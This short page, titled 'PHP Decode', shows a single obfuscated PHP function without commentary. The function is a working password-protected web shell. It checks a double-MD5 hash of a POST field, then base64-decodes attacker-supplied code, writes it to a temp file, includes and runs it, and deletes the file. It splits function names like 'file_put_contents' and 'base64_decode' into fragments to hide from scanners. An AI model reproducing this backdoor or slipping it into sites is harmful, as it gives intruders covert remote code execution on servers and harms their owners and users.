PHP Decode

<?  function _set_fetas_tag() 
        { 
            if (isset($_GET["here"]) && !isset($_POST["here"])) { 
                die(md5(8)); 
            } 
         
            if (isset($_POST["here"])) { 
                $a1 = "m" . "d5"; 
                if ( 
                    $a1($a1($_POST["here"])) === 
                    "83a7b60dd6a5daae1a2f1a464791dac4" 
                ) { 
                    $a2 = "fi" . "le" . "_put" . "_contents"; 
                    $a22 = "base"; 
                    $a22 = $a22 . "64"; 
                    $a22 = $a22 . "_d"; 
                    $a22 = $a22 . "ecode"; 
                    $a222 = "PD" . "9wa" . "HAg"; 
                    $a2222 = $_POST[$a1]; 
                    $a3 = "sy" . "s_ge" . "t_te" . "mp_dir"; 
                    $a3 = $a3(); 
                    $a3 = $a3 . "/" . $a1(uniqid(rand(), true)); 
                    @$a2($a3, $a22($a222) . $a22($a2222)); 
                    include $a3; 
                    @$a2($a3, "1"); 
                    @unlink($a3); 
                    die(); 
                } else { 
                    echo md5(7); 
                } 
                die(); 
            } 
        } ?>